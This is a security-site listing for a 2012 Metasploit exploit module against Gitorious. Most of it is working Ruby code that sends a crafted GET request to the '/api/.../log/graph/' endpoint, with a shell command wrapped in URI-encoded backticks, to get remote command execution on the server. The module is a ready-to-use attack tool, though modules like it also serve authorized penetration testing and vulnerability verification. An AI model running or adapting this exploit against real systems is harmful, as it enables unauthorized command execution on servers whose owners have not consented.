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Gitorious Arbitrary Command Execution

Gitorious Arbitrary Command Execution
Posted Jan 21, 2012
Authored by joernchen | Site metasploit.com

This Metasploit module exploits an arbitrary command execution vulnerability in the in gitorious. Unvalidated input is send to the shell allowing command execution.

tags | exploit, arbitrary, shell
MD5 | 689ddf3546d96485c325e6ed260ee72a

Gitorious Arbitrary Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Gitorious Arbitrary Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
in gitorious. Unvalidated input is send to the shell allowing command execution.
},
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://gitorious.org/gitorious/mainline/commit/647aed91a4dc72e88a27476948dfbacd5d0bf7ce' ],
],
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x60",
'DisableNops' => true,
'Space' => 31337,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 19 2012'
))

register_options(
[
OptString.new('URI', [true, "Path to project and repository", "/project/repo"]),
], self.class)
end

def exploit
# Make sure the URI begins with a slash
uri = datastore['URI']
if uri[0,1] != '/'
uri = '/' + uri
end

# Make sure the URI ends without a slash, because it's already part of the URI
if uri[-1, 1] == '/'
uri = uri[0, uri.length-1]
end

command = Rex::Text.uri_encode(payload.raw, 'hex-all')
command.gsub!("%20","%2520")
res = send_request_cgi({
'uri' => "/api"+ uri + "/log/graph/%60#{command}%60",
'method' => 'GET',
'headers' =>
{
'Connection' => 'Close',
}
}) #default timeout, we don't care about the response

if (res)
print_status("The server returned: #{res.code} #{res.message}")
end

handler
end

end

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